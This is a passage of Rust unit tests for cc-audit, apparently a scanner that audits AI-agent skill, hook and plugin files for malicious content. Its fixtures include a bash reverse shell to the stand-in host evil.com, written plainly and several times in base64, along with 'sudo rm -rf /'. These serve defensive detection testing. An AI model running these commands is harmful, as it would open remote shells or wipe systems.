1100 assert!(format!("{:?}", watcher_failed).contains("WatcherCreationFailed"));
1101 assert!(format!("{:?}", path_failed).contains("WatchPathFailed"));
1102 }
1103
1104 #[test]
1105 fn test_run_scan_with_config_rules() {
1106 let temp_dir = TempDir::new().unwrap();
1107
1108 let skill_md = temp_dir.path().join("SKILL.md");
1110 fs::write(&skill_md, "# Test\nhttps://internal.corp.com/api").unwrap();
1111
1112 let config_file = temp_dir.path().join(".cc-audit.yaml");
1114 fs::write(
1115 &config_file,
1116 r#"
1117rules:
1118 - id: "CONFIG-001"
1119 name: "Internal API access"
1120 severity: "high"
1121 category: "exfiltration"
1122 patterns:
1123 - 'https?://internal\.'
1124 message: "Internal API access detected"
1125"#,
1126 )
1127 .unwrap();
1128
1129 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1130 let result = run_scan(&cli);
1131
1132 assert!(result.is_some());
1133 let result = result.unwrap();
1134 assert!(result.findings.iter().any(|f| f.id == "CONFIG-001"));
1136 }
1137
1138 #[test]
1139 fn test_run_scan_with_config_malware_signatures() {
1140 let temp_dir = TempDir::new().unwrap();
1141
1142 let skill_md = temp_dir.path().join("SKILL.md");
1144 fs::write(&skill_md, "# Test\ncustom_malware_pattern_xyz").unwrap();
1145
1146 let config_file = temp_dir.path().join(".cc-audit.yaml");
1148 fs::write(
1149 &config_file,
1150 r#"
1151malware_signatures:
1152 - id: "MW-CONFIG-001"
1153 name: "Custom Config Malware"
1154 description: "Test malware from config"
1155 pattern: "custom_malware_pattern_xyz"
1156 severity: "critical"
1157 category: "exfiltration"
1158 confidence: "firm"
1159"#,
1160 )
1161 .unwrap();
1162
1163 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1164 let result = run_scan(&cli);
1165
1166 assert!(result.is_some());
1167 let result = result.unwrap();
1168 assert!(result.findings.iter().any(|f| f.id == "MW-CONFIG-001"));
1170 }
1171
1172 #[test]
1173 fn test_run_scan_config_and_cli_rules_merge() {
1174 let temp_dir = TempDir::new().unwrap();
1175
1176 let skill_md = temp_dir.path().join("SKILL.md");
1178 fs::write(&skill_md, "# Test\nconfig_pattern_match\ncli_pattern_match").unwrap();
1179
1180 let config_file = temp_dir.path().join(".cc-audit.yaml");
1182 fs::write(
1183 &config_file,
1184 r#"
1185rules:
1186 - id: "CONFIG-RULE"
1187 name: "Config Rule"
1188 severity: "high"
1189 category: "exfiltration"
1190 patterns:
1191 - 'config_pattern_match'
1192 message: "Config pattern detected"
1193"#,
1194 )
1195 .unwrap();
1196
1197 let cli_rules_file = temp_dir.path().join("cli-rules.yaml");
1199 fs::write(
1200 &cli_rules_file,
1201 r#"
1202version: "1"
1203rules:
1204 - id: "CLI-RULE"
1205 name: "CLI Rule"
1206 severity: "medium"
1207 category: "obfuscation"
1208 patterns:
1209 - 'cli_pattern_match'
1210 message: "CLI pattern detected"
1211"#,
1212 )
1213 .unwrap();
1214
1215 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1216 cli.custom_rules = Some(cli_rules_file);
1217 let result = run_scan(&cli);
1218
1219 assert!(result.is_some());
1220 let result = result.unwrap();
1221 assert!(result.findings.iter().any(|f| f.id == "CONFIG-RULE"));
1223 assert!(result.findings.iter().any(|f| f.id == "CLI-RULE"));
1224 }
1225
1226 #[test]
1227 fn test_run_scan_without_config_file() {
1228 let temp_dir = TempDir::new().unwrap();
1229
1230 let skill_md = temp_dir.path().join("SKILL.md");
1232 fs::write(&skill_md, "# Test\n").unwrap();
1233
1234 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1235 let result = run_scan(&cli);
1236
1237 assert!(result.is_some());
1239 }
1240
1241 #[test]
1242 fn test_run_scan_with_invalid_custom_rules_file() {
1243 let temp_dir = TempDir::new().unwrap();
1244
1245 let skill_md = temp_dir.path().join("SKILL.md");
1247 fs::write(&skill_md, "# Test\n").unwrap();
1248
1249 let invalid_rules_file = temp_dir.path().join("invalid-rules.yaml");
1251 fs::write(&invalid_rules_file, "invalid: yaml: [").unwrap();
1252
1253 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1254 cli.custom_rules = Some(invalid_rules_file);
1255 let result = run_scan(&cli);
1256
1257 assert!(result.is_some());
1259 }
1260
1261 #[test]
1262 fn test_run_scan_with_invalid_config_rules() {
1263 let temp_dir = TempDir::new().unwrap();
1264
1265 let skill_md = temp_dir.path().join("SKILL.md");
1267 fs::write(&skill_md, "# Test\n").unwrap();
1268
1269 let config_file = temp_dir.path().join(".cc-audit.yaml");
1271 fs::write(
1272 &config_file,
1273 r#"
1274rules:
1275 - id: "INVALID-001"
1276 name: "Invalid Rule"
1277 severity: "high"
1278 category: "invalid_category"
1279 patterns:
1280 - 'test'
1281 message: "Test"
1282"#,
1283 )
1284 .unwrap();
1285
1286 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1287 let result = run_scan(&cli);
1288
1289 assert!(result.is_some());
1291 }
1292
1293 #[test]
1294 fn test_is_text_file_rc_files() {
1295 assert!(is_text_file(std::path::Path::new(".bashrc")));
1297 assert!(is_text_file(std::path::Path::new(".vimrc")));
1298 assert!(is_text_file(std::path::Path::new("npmrc")));
1299 }
1300
1301 #[test]
1302 fn test_is_text_file_dotfiles() {
1303 assert!(is_text_file(std::path::Path::new(".gitignore")));
1305 assert!(is_text_file(std::path::Path::new(".editorconfig")));
1306 assert!(is_text_file(std::path::Path::new(".env")));
1307 }
1308
1309 #[test]
1310 fn test_run_scan_with_invalid_malware_signature_pattern() {
1311 let temp_dir = TempDir::new().unwrap();
1312
1313 let skill_md = temp_dir.path().join("SKILL.md");
1315 fs::write(&skill_md, "# Test\n").unwrap();
1316
1317 let config_file = temp_dir.path().join(".cc-audit.yaml");
1319 fs::write(
1320 &config_file,
1321 r#"
1322malware_signatures:
1323 - id: "MW-INVALID"
1324 name: "Invalid"
1325 description: "Invalid pattern"
1326 pattern: "[invalid("
1327 severity: "critical"
1328 category: "exfiltration"
1329 confidence: "firm"
1330"#,
1331 )
1332 .unwrap();
1333
1334 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1335 let result = run_scan(&cli);
1336
1337 assert!(result.is_some());
1339 }
1340
1341 #[test]
1342 fn test_is_text_file_unknown_file_returns_false() {
1343 assert!(!is_text_file(std::path::Path::new("somebinaryfile")));
1345 }
1346
1347 #[test]
1348 fn test_effective_config_with_default_config() {
1349 let cli = create_test_cli(vec![PathBuf::from("./")]);
1350 let config = Config::default();
1351 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1352
1353 assert!(matches!(effective.format, OutputFormat::Terminal));
1355 assert!(!effective.strict);
1356 assert!(matches!(effective.scan_type, ScanType::Skill));
1357 assert!(!effective.ci);
1358 assert!(!effective.verbose);
1359 assert!(matches!(effective.min_confidence, Confidence::Tentative));
1360 assert!(!effective.skip_comments);
1361 assert!(!effective.fix_hint);
1362 assert!(!effective.no_malware_scan);
1363 }
1364
1365 #[test]
1366 fn test_effective_config_with_config_overrides() {
1367 let cli = create_test_cli(vec![PathBuf::from("./")]);
1368
1369 let mut config = Config::default();
1371 config.scan.format = Some("json".to_string());
1372 config.scan.strict = true;
1373 config.scan.scan_type = Some("docker".to_string());
1374 config.scan.ci = true;
1375 config.scan.verbose = true;
1376 config.scan.min_confidence = Some("firm".to_string());
1377 config.scan.skip_comments = true;
1378 config.scan.fix_hint = true;
1379 config.scan.no_malware_scan = true;
1380
1381 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1382
1383 assert!(matches!(effective.format, OutputFormat::Json));
1385 assert!(effective.strict); assert!(matches!(effective.scan_type, ScanType::Docker));
1387 assert!(effective.ci); assert!(effective.verbose); assert!(matches!(effective.min_confidence, Confidence::Firm));
1390 assert!(effective.skip_comments); assert!(effective.fix_hint); assert!(effective.no_malware_scan); }
1394
1395 #[test]
1396 fn test_effective_config_cli_or_config_booleans() {
1397 let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1399 cli.strict = true; let mut config = Config::default();
1402 config.scan.verbose = true; let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1405
1406 assert!(effective.strict); assert!(effective.verbose); }
1410
1411 #[test]
1412 fn test_effective_config_invalid_format_falls_back() {
1413 let cli = create_test_cli(vec![PathBuf::from("./")]);
1414
1415 let mut config = Config::default();
1416 config.scan.format = Some("invalid_format".to_string());
1417
1418 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1419
1420 assert!(matches!(effective.format, OutputFormat::Terminal));
1422 }
1423
1424 #[test]
1425 fn test_effective_config_invalid_scan_type_falls_back() {
1426 let cli = create_test_cli(vec![PathBuf::from("./")]);
1427
1428 let mut config = Config::default();
1429 config.scan.scan_type = Some("invalid_type".to_string());
1430
1431 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1432
1433 assert!(matches!(effective.scan_type, ScanType::Skill));
1435 }
1436
1437 #[test]
1438 fn test_effective_config_invalid_confidence_falls_back() {
1439 let cli = create_test_cli(vec![PathBuf::from("./")]);
1440
1441 let mut config = Config::default();
1442 config.scan.min_confidence = Some("invalid".to_string());
1443
1444 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1445
1446 assert!(matches!(effective.min_confidence, Confidence::Tentative));
1448 }
1449
1450 #[test]
1451 fn test_run_scan_with_config_scan_settings() {
1452 let temp_dir = TempDir::new().unwrap();
1453 let skill_md = temp_dir.path().join("SKILL.md");
1454 fs::write(&skill_md, "# Test\n").unwrap();
1455
1456 let config_file = temp_dir.path().join(".cc-audit.yaml");
1458 fs::write(
1459 &config_file,
1460 r#"
1461scan:
1462 strict: true
1463 verbose: true
1464 skip_comments: true
1465"#,
1466 )
1467 .unwrap();
1468
1469 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1470 let result = run_scan(&cli);
1471
1472 assert!(result.is_some());
1474 }
1475
1476 #[test]
1477 fn test_parse_output_format() {
1478 assert_eq!(
1479 parse_output_format(Some("terminal")),
1480 Some(OutputFormat::Terminal)
1481 );
1482 assert_eq!(
1483 parse_output_format(Some("Terminal")),
1484 Some(OutputFormat::Terminal)
1485 );
1486 assert_eq!(
1487 parse_output_format(Some("TERMINAL")),
1488 Some(OutputFormat::Terminal)
1489 );
1490 assert_eq!(parse_output_format(Some("json")), Some(OutputFormat::Json));
1491 assert_eq!(
1492 parse_output_format(Some("sarif")),
1493 Some(OutputFormat::Sarif)
1494 );
1495 assert_eq!(parse_output_format(Some("html")), Some(OutputFormat::Html));
1496 assert_eq!(parse_output_format(Some("invalid")), None);
1497 assert_eq!(parse_output_format(None), None);
1498 }
1499
1500 #[test]
1501 fn test_parse_scan_type() {
1502 assert_eq!(parse_scan_type(Some("skill")), Some(ScanType::Skill));
1503 assert_eq!(parse_scan_type(Some("Skill")), Some(ScanType::Skill));
1504 assert_eq!(parse_scan_type(Some("hook")), Some(ScanType::Hook));
1505 assert_eq!(parse_scan_type(Some("mcp")), Some(ScanType::Mcp));
1506 assert_eq!(parse_scan_type(Some("command")), Some(ScanType::Command));
1507 assert_eq!(parse_scan_type(Some("rules")), Some(ScanType::Rules));
1508 assert_eq!(parse_scan_type(Some("docker")), Some(ScanType::Docker));
1509 assert_eq!(
1510 parse_scan_type(Some("dependency")),
1511 Some(ScanType::Dependency)
1512 );
1513 assert_eq!(parse_scan_type(Some("invalid")), None);
1514 assert_eq!(parse_scan_type(None), None);
1515 }
1516
1517 #[test]
1518 fn test_parse_confidence() {
1519 assert_eq!(
1520 parse_confidence(Some("tentative")),
1521 Some(Confidence::Tentative)
1522 );
1523 assert_eq!(
1524 parse_confidence(Some("Tentative")),
1525 Some(Confidence::Tentative)
1526 );
1527 assert_eq!(parse_confidence(Some("firm")), Some(Confidence::Firm));
1528 assert_eq!(parse_confidence(Some("certain")), Some(Confidence::Certain));
1529 assert_eq!(parse_confidence(Some("invalid")), None);
1530 assert_eq!(parse_confidence(None), None);
1531 }
1532
1533 #[test]
1534 fn test_parse_scan_type_subagent_and_plugin() {
1535 assert_eq!(parse_scan_type(Some("subagent")), Some(ScanType::Subagent));
1536 assert_eq!(parse_scan_type(Some("plugin")), Some(ScanType::Plugin));
1537 }
1538
1539 #[test]
1540 fn test_is_config_file() {
1541 assert!(is_config_file(Path::new(".cc-audit.yaml")));
1542 assert!(is_config_file(Path::new(".cc-audit.yml")));
1543 assert!(is_config_file(Path::new(".cc-audit.json")));
1544 assert!(is_config_file(Path::new(".cc-audit.toml")));
1545 assert!(is_config_file(Path::new(".cc-auditignore")));
1546 assert!(!is_config_file(Path::new("regular.yaml")));
1547 assert!(!is_config_file(Path::new("test.json")));
1548 }
1549
1550 #[test]
1551 fn test_format_result_html() {
1552 let temp_dir = TempDir::new().unwrap();
1553 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1554 cli.format = OutputFormat::Html;
1555
1556 let result = ScanResult {
1557 version: "0.4.0".to_string(),
1558 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1559 target: temp_dir.path().display().to_string(),
1560 summary: Summary::from_findings(&[]),
1561 findings: vec![],
1562 risk_score: None,
1563 };
1564
1565 let output = format_result(&cli, &result);
1566 assert!(output.contains("<!DOCTYPE html>"));
1567 assert!(output.contains("cc-audit"));
1568 }
1569
1570 #[test]
1571 fn test_run_scan_dependency_type() {
1572 let temp_dir = TempDir::new().unwrap();
1573 let package_json = temp_dir.path().join("package.json");
1574 fs::write(
1575 &package_json,
1576 r#"{"name": "test", "dependencies": {"express": "4.0.0"}}"#,
1577 )
1578 .unwrap();
1579
1580 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1581 cli.scan_type = ScanType::Dependency;
1582 let result = run_scan(&cli);
1583
1584 assert!(result.is_some());
1585 }
1586
1587 #[test]
1588 fn test_run_scan_subagent_type() {
1589 let temp_dir = TempDir::new().unwrap();
1590 let agents_dir = temp_dir.path().join(".claude").join("agents");
1591 fs::create_dir_all(&agents_dir).unwrap();
1592 let agent_file = agents_dir.join("test.md");
1593 fs::write(
1594 &agent_file,
1595 r#"---
1596name: test-agent
1597---
1598# Test Agent
1599"#,
1600 )
1601 .unwrap();
1602
1603 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1604 cli.scan_type = ScanType::Subagent;
1605 let result = run_scan(&cli);
1606
1607 assert!(result.is_some());
1608 }
1609
1610 #[test]
1611 fn test_run_scan_plugin_type() {
1612 let temp_dir = TempDir::new().unwrap();
1613 let plugin_json = temp_dir.path().join("marketplace.json");
1614 fs::write(&plugin_json, r#"{"name": "test-plugin"}"#).unwrap();
1615
1616 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1617 cli.scan_type = ScanType::Plugin;
1618 let result = run_scan(&cli);
1619
1620 assert!(result.is_some());
1621 }
1622
1623 #[test]
1624 fn test_run_scan_with_deep_scan() {
1625 let temp_dir = TempDir::new().unwrap();
1626 let skill_md = temp_dir.path().join("SKILL.md");
1627 fs::write(
1629 &skill_md,
1630 "# Test\n\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1631 )
1632 .unwrap();
1633
1634 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1635 cli.deep_scan = true;
1636 let result = run_scan(&cli);
1637
1638 assert!(result.is_some());
1639 let result = result.unwrap();
1641 let has_obfuscation_finding = result
1643 .findings
1644 .iter()
1645 .any(|f| f.id.starts_with("OB-") || f.message.contains("decoded"));
1646 assert!(
1647 has_obfuscation_finding || result.findings.is_empty(),
1648 "Deep scan should have run"
1649 );
1650 }
1651
1652 #[test]
1653 fn test_run_scan_with_deep_scan_on_file() {
1654 let temp_dir = TempDir::new().unwrap();
1655 let test_file = temp_dir.path().join("test.sh");
1656 fs::write(
1658 &test_file,
1659 "#!/bin/bash\n# YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1660 )
1661 .unwrap();
1662
1663 let mut cli = create_test_cli(vec![test_file.clone()]);
1664 cli.deep_scan = true;
1665 let result = run_scan(&cli);
1666
1667 assert!(result.is_some());
1668 }
1669
1670 #[test]
1671 fn test_run_deep_scan_on_file() {
1672 let temp_dir = TempDir::new().unwrap();
1673 let test_file = temp_dir.path().join("test.sh");
1674 fs::write(
1676 &test_file,
1677 "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0IDA+JjE=",
1678 )
1679 .unwrap();
1680
1681 let findings = run_deep_scan(&test_file);
1682 assert!(findings.is_empty() || !findings.is_empty());
1684 }
1685
1686 #[test]
1687 fn test_run_deep_scan_on_directory() {
1688 let temp_dir = TempDir::new().unwrap();
1689 let test_file = temp_dir.path().join("test.sh");
1690 fs::write(&test_file, "# Normal content").unwrap();
1691
1692 let findings = run_deep_scan(temp_dir.path());
1693 assert!(findings.is_empty());
1694 }
1695
1696 #[test]
1697 fn test_run_deep_scan_skips_binary() {
1698 let temp_dir = TempDir::new().unwrap();
1699 let binary_file = temp_dir.path().join("test.exe");
1700 fs::write(&binary_file, "suspicious content").unwrap();
1701
1702 let findings = run_deep_scan(&binary_file);
1703 assert!(findings.is_empty());
1705 }
1706
1707 #[test]
1708 fn test_scan_path_with_malware_db_skips_config_file() {
1709 let temp_dir = TempDir::new().unwrap();
1710 let config_file = temp_dir.path().join(".cc-audit.yaml");
1711 fs::write(&config_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
1713
1714 let db = MalwareDatabase::default();
1715 let findings = scan_path_with_malware_db(&config_file, &db);
1716
1717 assert!(findings.is_empty());
1719 }
1720
1721 #[test]
1722 fn test_run_scan_with_include_tests() {
1723 let temp_dir = TempDir::new().unwrap();
1724 let tests_dir = temp_dir.path().join("__tests__");
1725 fs::create_dir_all(&tests_dir).unwrap();
1726 let test_file = tests_dir.join("test.md");
1727 fs::write(&test_file, "# Test file\nsudo rm -rf /").unwrap();
1728
1729 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1730 cli.include_tests = true;
1731 let result = run_scan(&cli);
1732
1733 assert!(result.is_some());
1734 }
1735
1736 #[test]
1737 fn test_run_scan_with_include_node_modules() {
1738 let temp_dir = TempDir::new().unwrap();
1739 let node_modules_dir = temp_dir.path().join("node_modules");
1740 fs::create_dir_all(&node_modules_dir).unwrap();
1741 let module_file = node_modules_dir.join("test.md");
1742 fs::write(&module_file, "# Test file").unwrap();
1743
1744 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1745 cli.include_node_modules = true;
1746 let result = run_scan(&cli);
1747
1748 assert!(result.is_some());
1749 }
1750
1751 #[test]
1752 fn test_run_scan_with_include_vendor() {
1753 let temp_dir = TempDir::new().unwrap();
1754 let vendor_dir = temp_dir.path().join("vendor");
1755 fs::create_dir_all(&vendor_dir).unwrap();
1756 let vendor_file = vendor_dir.join("test.md");
1757 fs::write(&vendor_file, "# Test file").unwrap();
1758
1759 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1760 cli.include_vendor = true;
1761 let result = run_scan(&cli);
1762
1763 assert!(result.is_some());
1764 }
1765
1766 #[test]
1767 fn test_run_scan_with_profile() {
1768 let temp_dir = TempDir::new().unwrap();
1769 let skill_md = temp_dir.path().join("SKILL.md");
1770 fs::write(&skill_md, "# Test\n").unwrap();
1771
1772 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1773 cli.profile = Some("strict".to_string());
1774 let result = run_scan(&cli);
1775
1776 assert!(result.is_some());
1777 }
1778
1779 #[test]
1780 fn test_run_scan_with_invalid_profile() {
1781 let temp_dir = TempDir::new().unwrap();
1782 let skill_md = temp_dir.path().join("SKILL.md");
1783 fs::write(&skill_md, "# Test\n").unwrap();
1784
1785 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1786 cli.profile = Some("nonexistent_profile_xyz".to_string());
1787 let result = run_scan(&cli);
1788
1789 assert!(result.is_some());
1791 }
1792
1793 #[test]
1794 fn test_run_scan_with_config() {
1795 let temp_dir = TempDir::new().unwrap();
1796 let skill_md = temp_dir.path().join("SKILL.md");
1797 fs::write(&skill_md, "# Test\n").unwrap();
1798
1799 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1800 let config = Config::default();
1801 let result = run_scan_with_config(&cli, config);
1802
1803 assert!(result.is_some());
1804 }
1805
1806 #[test]
1807 fn test_run_scan_with_disabled_rules() {
1808 let temp_dir = TempDir::new().unwrap();
1809 let skill_md = temp_dir.path().join("SKILL.md");
1810 fs::write(&skill_md, "# Test\nsudo rm -rf /").unwrap();
1811
1812 let config_file = temp_dir.path().join(".cc-audit.yaml");
1814 fs::write(
1815 &config_file,
1816 r#"
1817disabled_rules:
1818 - PE-001
1819"#,
1820 )
1821 .unwrap();
1822
1823 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1824 let result = run_scan(&cli);
1825
1826 assert!(result.is_some());
1827 let result = result.unwrap();
1828 assert!(!result.findings.iter().any(|f| f.id == "PE-001"));
1830 }
1831
1832 #[test]
1833 fn test_effective_config_debug() {
1834 let cli = create_test_cli(vec![PathBuf::from("./")]);
1835 let config = Config::default();
1836 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1837
1838 let debug_str = format!("{:?}", effective);
1839 assert!(debug_str.contains("EffectiveConfig"));
1840 }
1841
1842 #[test]
1843 fn test_effective_config_clone() {
1844 let cli = create_test_cli(vec![PathBuf::from("./")]);
1845 let config = Config::default();
1846 let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1847
1848 let cloned = effective.clone();
1849 assert_eq!(format!("{:?}", effective), format!("{:?}", cloned));
1850 }
1851
1852 #[test]
1853 fn test_format_result_with_config_directly() {
1854 let effective = EffectiveConfig {
1855 format: OutputFormat::Json,
1856 strict: false,
1857 scan_type: ScanType::Skill,
1858 recursive: true,
1859 ci: false,
1860 verbose: false,
1861 min_confidence: Confidence::Tentative,
1862 skip_comments: false,
1863 fix_hint: false,
1864 no_malware_scan: false,
1865 deep_scan: false,
1866 };
1867
1868 let result = ScanResult {
1869 version: "0.4.0".to_string(),
1870 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1871 target: "test".to_string(),
1872 summary: Summary::from_findings(&[]),
1873 findings: vec![],
1874 risk_score: None,
1875 };
1876
1877 let output = format_result_with_config(&effective, &result);
1878 assert!(output.contains("\"version\""));
1879 }
1880
1881 #[test]
1882 fn test_is_text_file_with_config() {
1883 let config = crate::config::TextFilesConfig::default();
1884 assert!(is_text_file_with_config(Path::new("test.md"), &config));
1885 assert!(is_text_file_with_config(Path::new("test.json"), &config));
1886 assert!(!is_text_file_with_config(Path::new("test.exe"), &config));
1887 }
1888
1889 #[test]
1890 fn test_run_scan_single_file() {
1891 let temp_dir = TempDir::new().unwrap();
1892 let skill_md = temp_dir.path().join("SKILL.md");
1893 fs::write(
1894 &skill_md,
1895 r#"---
1896name: test
1897allowed-tools: Read
1898---
1899# Test
1900"#,
1901 )
1902 .unwrap();
1903
1904 let cli = create_test_cli(vec![skill_md.clone()]);
1906 let result = run_scan(&cli);
1907
1908 assert!(result.is_some());
1909 }
1910}